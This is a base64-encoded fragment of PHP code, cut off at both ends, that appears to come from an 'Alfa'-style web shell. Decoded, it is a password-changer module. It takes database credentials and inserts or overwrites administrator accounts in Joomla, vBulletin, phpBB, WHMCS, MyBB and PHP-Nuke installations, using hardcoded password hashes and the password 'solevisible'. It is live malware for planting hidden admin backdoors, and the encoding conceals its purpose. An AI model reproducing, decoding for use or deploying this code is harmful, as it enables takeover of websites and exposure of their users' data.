NCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoaWQsbmFtZSx1c2VybmFtZSxlbWFpbCxwYXNzd29yZCkgdmFsdWVzKG51bGwsJ1N1cGVyIFVzZXInLCciLiRhZG1pbi4iJywnIi4kU1FMLiInLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBpZCBmcm9tICIuJHByZWZpeC4idXNlcnMgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGUgPUBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsNCmlmICgkc29sZSA9PSAxKXsNCiRzb2xldmlzID1AbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ2lkJ107DQp9DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiSU5TRVJUIElOVE8gIi4kcHJlZml4LiJ1c2VyX3VzZXJncm91cF9tYXAgKHVzZXJfaWQsZ3JvdXBfaWQpIFZBTFVFUyAoJyIuJHJlcy4iJywgJzgnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKCRfUE9TVFsnYWxmYTQnXSAmJiAkX1BPU1RbJ2FsZmE0J10gPT0gJ3ZiJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZCdWxsZXRpbiB8PGRpdj48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsXCd2YlwnLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiAndGQ4JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE1J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhNyddOw0KJGFkbWluID0gJF9QT1NUWydhbGZhOCddOw0KJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9dXNlciAodXNlcmlkLHVzZXJncm91cGlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwscGFzc3dvcmRkYXRlLGpvaW5kYXRlKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJzUyZTI4Yjc4ZjU1NjQxY2Q0NjE4YWQxYTIwZjVmZDVjJywnWHd8SWJHTGhUUUEtQXdBcFZ2PjYxeV4oel0qPFFOJywnJFNRTCcsJyIuZGF0ZSgnWS1tLWQnKS4iJywnIi50aW1lKCkuIicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1c2VyaWQgZnJvbSB7JHByZWZpeH11c2VyIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xlID0gbXlzcWxpX251bV9yb3dzKCRzb2xldmlzaWJsZSk7DQppZigkc29sZSA9PSAxKXsNCiRzb2xldmlzID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xldmlzaWJsZSk7DQokcmVzID0gJHNvbGV2aXNbJ3VzZXJpZCddOw0KfQ0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fWFkbWluaXN0cmF0b3IgKHVzZXJpZCxhZG1pbnBlcm1pc3Npb25zKSB2YWx1ZXMoJyIuJHJlcy4iJywnMTY3NDQ0NDQnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgJF9QT1NUWydhbGZhNSddID09ICdwaHBiYicpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ3JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLA0KICd0ZDgnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJGhhc2ggPSBtZDUoJ3NvbGV2aXNpYmxlJyk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX3Bhc3N3b3JkID0nIi4kaGFzaC4iJyBXSEVSRSB1c2VybmFtZV9jbGVhbiA9ICdhZG1pbiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9lbWFpbCA9JyIuJFNRTC4iJyBXSEVSRSB1c2VybmFtZV9jbGVhbiA9ICdhZG1pbiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQppZigkc29sZXZpc2libGUpew0KX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTsNCn0NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkgJiYgJF9QT1NUWydhbGZhNiddID09ICd3aG1jcycpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV2htY3MgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsXCd3aG1jc1wnLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ3JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLA0KICd0ZDgnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE1J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB0YmxhZG1pbnMgKGlkLHJvbGVpZCx1c2VybmFtZSxwYXNzd29yZCxlbWFpbCx0ZW1wbGF0ZSxob21ld2lkZ2V0cykgdmFsdWVzKG51bGwsJzEnLCciLiRhZG1pbi4iJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCciLiRTUUwuIicsJ2JsZW5kJywnZ2V0dGluZ19zdGFydGVkOnRydWUsb3JkZXJzX292ZXJ2aWV3OnRydWUsc3VwcG9ydHRpY2tldHNfb3ZlcnZpZXc6dHJ1ZSxteV9ub3Rlczp0cnVlLGNsaWVudF9hY3Rpdml0eTp0cnVlLG9wZW5faW52b2ljZXM6dHJ1ZSxhY3Rpdml0eV9sb2c6dHJ1ZXxpbmNvbWVfb3ZlcnZpZXc6dHJ1ZSxzeXN0ZW1fb3ZlcnZpZXc6dHJ1ZSx3aG1jc19uZXdzOnRydWUsc3lzaW5mbzp0cnVlLGFkbWluX2FjdGl2aXR5OnRydWUsdG9kb19saXN0OnRydWUsbmV0d29ya19zdGF0dXM6dHJ1ZSxpbmNvbWVfZm9yZWNhc3Q6dHJ1ZXwnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTcnXSkgJiYgJF9QT1NUWydhbGZhNyddID09ICdteWJiJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBNeWJiIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ215YmInKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCxcJ215YmJcJyx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksDQogJ3RkOCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAodWlkLHVzZXJuYW1lLHBhc3N3b3JkLHNhbHQsZW1haWwsdXNlcmdyb3VwKSB2YWx1ZXMobnVsbCwnIi4kYWRtaW4uIicsJ2U3MWYyYzMyNjU2MTkwMzhkODI2YTFhYzZlMmI5YjhlJywneXd6YTY4bFMnLCciLiRTUUwuIicsJzQnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTgnXSkgJiYgJF9QT1NUWydhbGZhOCddID09ICdudWtlJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2